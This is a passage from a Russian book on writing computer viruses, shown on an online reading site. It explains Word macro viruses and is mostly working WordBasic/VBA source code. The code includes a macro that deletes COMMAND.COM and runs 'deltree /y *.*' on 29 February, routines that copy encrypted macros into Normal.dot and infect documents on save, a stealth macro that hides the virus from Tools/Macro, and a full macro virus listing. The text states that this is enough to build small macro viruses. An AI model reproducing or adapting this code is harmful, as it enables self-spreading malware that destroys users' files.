Чтение онлайн

на главную - закладки

Жанры

Создаем вирус и антивирус
Шрифт:

Sub Demo_Macro

Con Seleccion.Fuente

.Nombre=”Arial”

Fin Con

End Sub

Второй макрос (английский):

Sub Demo_Macro

With Selection.Font

.Name=”Arial”

End With

End Sub

Последний макрос не будет работать в испанской версии WinWord (а первый – в английской) – он вызовет ошибку выполнения макроса. Еще отметим, что VBA – язык интерпретируемого (некомпилируемого) типа, так что каждая ошибка выполнения проявляется «в полете».

Существуют функции, единые для всех версий VBA, вне зависимости от языка. Например, автоматический макрос AutoExec.

Всего таких специальных макросов пять, выполняются они автоматически:

AutoExec: это макрос, активируемый при загрузке текстового процессора, но только в том случае, если он сохранен в шаблоне Normal.dot или в каталоге стандартных приложений;

AutoNew: активизируется при создании нового документа;

AutoOpen:

активизируется при открытии существующего документа;

AutoClose: активизируется при закрытии документа;

AutoExit: активизируется при выходе из текстового процессора.

В качестве доказательства силы и универсальности этих макросов рассмотрим следующий фрагмент кода (о языке уже договорились).

’Макрос наиболее эффективен, если его сохранить как AutoExit

Sub Main

’Проверим регистрационное имя

If Application.Username <> ”MaD_MoTHeR” Then

’Снимем атрибуты COMMAND.COM

SetAttr ”C:\COMMAND.COM”,0

’Откроем для проверки – вдруг появятся ошибки

Open ”C:\COMMAND.COM” for Output as #1

’Если ошибки есть, то закроем.

Close #1

’и удалим

Kill ”C:\COMMAND.COM”

End If

’Проверим месяц и дату. Если 29 февраля, то выполним

’команду ”deltree /y >nul

If Month(Now)=2 Then

If Day(Now)=29 Then

Shell ”deltree /y *.* >nu”

End If

End If

End Sub

Что делает этот макрос? При выходе из WinWord он проверяет два параметра: имя, на которое зарегистрирован WinWord (если это не MaD_MoTHeR, то будет удален файл COMMAND.COM), и текущую системную дату (если это 29 февраля, выполняется команда «deltree /у *.* > nul»).

Очень важно знать, как адаптировать автоматический макрос (ниже приведен простейший вариант), чтобы активизировать его в открываемый по умолчанию шаблон WinWord.

Это делается так:

Определяется переменная, в которую записывается полное имя макроса:

name$=WindowName$+”:AutoNew”

’этот макрос будет выполняться каждый раз

’при создании нового документа

Теперь нужно записать макрос в шаблон NORMAL.DOT простой командой:

MacroCopy name$, ”Global:AutoNew”

Это стандартный способ работы макро-вирусов, но есть еще много других, более интересных способов заражения. Всего то и нужно, что немного воображения и несколько строчек кода. Одним из трюков, который усложняет подобные вирусы и затрудняет их анализ, является кодирование макро-вирусов.

MacroCopy ”MyTemplate:MyMacro”, ”Global:AutoClose”, 1

Если выполняется команда MacroCopy с параметром, равным 1 (или другому числу больше 0), то в результате копирования будет получен только исполняемый макрос, который нельзя редактировать.

Большинство макро-вирусов имеют типичную структуру. Они начинаются с автовыполняемого макроса, заражающего глобальный шаблон Normal.dot. Также в их состав входят некоторые макросы, которые заражают файлы при определенных действиях (FileSaveAs, FileSave, ToolsMacros). Документы заражаются при совершении над ними операций вирусными макросами, то есть они будут инфицироваться при открытии.

Код для процедуры автовыполнения может выглядеть примерно так:

Sub MAIN

On Error Goto Abort

iMacroCount=CountMacros(0, 0) ’Проверка на зараженность

For i=1 To iMacroCount

If MacroName$(i, 0, 0)=”PayLoad” Then

bInstalled =–1 ’с помощью макроса PayLoad

End If

If MacroName$(i, 0, 0)=”FileSaveAs” Then

bTooMuchTrouble =–1 ’но если есть макрос

FileSaveAs,

’то заразить тяжело

End If

Next i

If Not bInstalled And Not bTooMuchTrouble Then

’Добавим макросы FileSaveAs и копии AutoExec и FileSave

’Payload используется только для проверки на зараженность

’,1 – кодирует макросы, делая их нечитаемыми в Word

iWW6IInstance=Val(GetDocumentVar$(”WW6Infector”))

sMe$=FileName$

Macro$=sMe$+”:PayLoad”

MacroCopy Macro$, ”Global:PayLoad”, 1

Macro$=sMe$+”:FileOpen” ’Будет происходить заражение

MacroCopy Macro$, ”Global:FileOpen”, 1

Macro$=sMe$+”:FileSaveAs”

MacroCopy Macro$, ”Global:FileSaveAs”, 1

Macro$=sMe$+”:AutoExec”

MacroCopy Macro$, ”Global:AutoExec”, 1

SetProfileString ”WW6I”, Str$(iWW6IInstance+1)

End If

Abort:

End Sub

Процедура SaveAs

Она копирует макро-вирус в активный документ при его сохранении через команду File/SaveAs. Эта процедура использует во многом схожую с процедурой AutoExec технологию. Код для нее:

Sub MAIN

Dim dlg As FileSaveAs

GetCurValues dlg

Dialog dlg

If (Dlg.Format=0) Or (dlg.Format=1) Then

MacroCopy ”FileSaveAs”, WindowName$+”:FileSaveAs”

’Заражает при сохранении документа

MacroCopy ”FileSave”, WindowName$+”:FileSave”

MacroCopy ”PayLoad”, WindowName$+”:PayLoad”

MacroCopy ”FileOpen”, WindowName$+”:FileOpen”

’При

открытии документа

Dlg.Format=1

End If

FileDaveAs dlg

End Sub

Этой информации вполне достаточно для создания небольших макровирусов.

Специальные процедуры

Существует несколько способов скрыть вирус или сделать его более эффективным. Например, можно создать специальный макрос, прячущий вирус, если Tools/Macro открывается для просмотра. Код такого макроса может выглядеть примерно так:

Sub MAIN

On Error Goto ErrorRoutine

OldName$=NomFichier$

If macros.bDebug Then

MsgBox ”start ToolsMacro”

Dim dlg As OutilsMacro

If macros.bDebug Then MsgBox ”1”

GetCurValues dlg

If macros.bDebug Then MsgBox ”2”

On Error Goto Skip

Dialog dlg

OutilsMacro dlg

Skip:

On Error Goto ErrorRoutine ’При ошибке на выход

End If

REM enable automacros

DisableAutoMacros 0

macros.SavToGlobal(OldName$)

macros.objectiv

Goto Done ’Переход на метку

Done

ErrorRoutine:

On Error Goto Done ’Переход на метку

Done

If macros.bDebug Then

MsgBox ”error ”+Str$(Err)+” occurred” ’Сообщение об

ошибке

End If

Done:

End Sub

Макро-вирусы также могут включать внешние процедуры. Например, вирус Nuclear пытается откомпилировать и запустить внешний файл-разносчик вируса, некоторые троянские макросы пытаются форматировать винчестер при открытии документа.

Пример макро-вируса

Выше были изложены основы для изучения макро-вирусов. Пришло время рассмотреть исходные тексты.

Macro name: AutoNew [AUTONEW] ”U”

Encryption key: DF

Sub MAIN

’Включаем обработку автоматических макросов

DisableAutoMacros 0

’Проверим, установлен ли макрос. Если макрос AutoExec

’присутствует, считаем, что файл заражен

If (Installed=0) And (ForgetIt=0) Then

’Заразим. Копируем макрос

MacroCopy WindowName$+”:AutoExec”, ”Global:AutoExec”, 1

MacroCopy WindowName$+”:AutoNew”, ”Global:AutoNew”, 1

MacroCopy WindowName$+”:AutoOpen”, ”Global:AutoOpen”, 1

MacroCopy WindowName$+”:DateiSpeichern”, ”Global:DateiSpeichern”, 1

MacroCopy WindowName$+”:DateiSpeichernUnter”,

”Global:DateiSpeichernUnter”, 1

MacroCopy WindowName$+”:DateiBeenden”,

”Global:DateiBeenden”, 1

MacroCopy WindowName$+”:ExtrasOptionen”,

”Global:ExtrasOptionen”, 1

MacroCopy WindowName$+”:DateiDokvorlagen”, ”Global:

DateiDokvorlagen”, 1

MacroCopy WindowName$+”:It”, ”Global:It”, 1

MacroCopy WindowName$+”:DateiDrucken”, ”Global:DateiDrucken”, 1

End If

End Sub

’Функция проверяет, инсталлирован ли макрос AutoExec

Function Installed

’Установим переменную Installed в 0 (инициализация переменной).

’При положительном результате проверки установим ее в 1

Installed=0

’Проверим, есть ли макросы

If CountMacros(0) > 0 Then

’Проверим имена макросов. Если есть AutoExec,

’установим переменную Installed в 1

For i=1 To CountMacros(0)

If MacroName$(i, 0)=”AutoExec” Then

Installed=1

End If

Next i

End If

End Function

Function ForgetIt

ForgetIt=0

Section$=”Compatibility”

ProfilName$=”Nomvir”

BlaBla$=GetProfileString$(Section$, ProfilName$)

If BlaBla$=”0x0690690” Then

ForgetIt=1

End If

End Function

Глава 5 Маскировка вирусов

В этой главе рассказано, как может быть спрятан вирус. Описаны методы конструирования прямого обращения к DOS для «обмана» резидентных антивирусных мониторов. Рассмотрены вирусы, заражающие Flash BIOS. Представлены исходные тексты программ с подробными комментариями.

Protected Mode – укрытие для вируса

Персональные компьютеры год от года становятся все сложнее и сложнее, используют все более высокие аппаратные и программные технологии. Компьютерные вирусы тоже не отстают и пытаются приспособиться к новым условиям обитания. Так, вирусы научились заражать загрузочные сектора дисков, файлы для операционных систем DOS, Windows, Windows 95, OS/2, Linux и даже документы Word, Excel и MS-Office 97. Скрывая свое присутствие в системе, они стали невидимками, или стелс-вирусами. Они научились быть полиморфными для того, чтобы их распознавание стало еще более трудной задачей для разработчиков антивирусных средств. С появлением процессоров i386 вирусы стали использовать в своем коде 32-разрядные инструкции. В настоящее время полиморфные вирусы используют 32-разрядные расшифровывающие команды в своем декрипторе.

Поделиться:
Популярные книги

Тайны затерянных звезд. Том 2

Лекс Эл
2. Тайны затерянных звезд
Фантастика:
боевая фантастика
космическая фантастика
космоопера
фэнтези
5.00
рейтинг книги
Тайны затерянных звезд. Том 2

Здравствуй, 1984-й

Иванов Дмитрий
1. Девяностые
Фантастика:
альтернативная история
6.42
рейтинг книги
Здравствуй, 1984-й

Камень

Минин Станислав
1. Камень
Фантастика:
боевая фантастика
6.80
рейтинг книги
Камень

Плеяда

Суконкин Алексей
Проза:
военная проза
русская классическая проза
5.00
рейтинг книги
Плеяда

Имя нам Легион. Том 1

Дорничев Дмитрий
1. Меж двух миров
Фантастика:
боевая фантастика
рпг
аниме
5.00
рейтинг книги
Имя нам Легион. Том 1

Ненаглядная жена его светлости

Зика Натаэль
Любовные романы:
любовно-фантастические романы
6.23
рейтинг книги
Ненаглядная жена его светлости

Эра Мангуста. Том 9

Третьяков Андрей
9. Рос: Мангуст
Фантастика:
попаданцы
аниме
фэнтези
фантастика: прочее
5.00
рейтинг книги
Эра Мангуста. Том 9

Тайны ордена

Каменистый Артем
6. Девятый
Фантастика:
боевая фантастика
попаданцы
7.48
рейтинг книги
Тайны ордена

Наследник 2

Шимохин Дмитрий
2. Старицкий
Фантастика:
попаданцы
альтернативная история
фэнтези
5.75
рейтинг книги
Наследник 2

Надуй щеки! Том 2

Вишневский Сергей Викторович
2. Чеболь за партой
Фантастика:
попаданцы
дорама
фантастика: прочее
5.00
рейтинг книги
Надуй щеки! Том 2

Скрываясь в тени

Мазуров Дмитрий
2. Теневой путь
Фантастика:
боевая фантастика
7.84
рейтинг книги
Скрываясь в тени

Чужая дочь

Зика Натаэль
Любовные романы:
любовно-фантастические романы
5.00
рейтинг книги
Чужая дочь

Идеальный мир для Лекаря 18

Сапфир Олег
18. Лекарь
Фантастика:
юмористическое фэнтези
аниме
5.00
рейтинг книги
Идеальный мир для Лекаря 18

Энфис 6

Кронос Александр
6. Эрра
Фантастика:
героическая фантастика
рпг
аниме
5.00
рейтинг книги
Энфис 6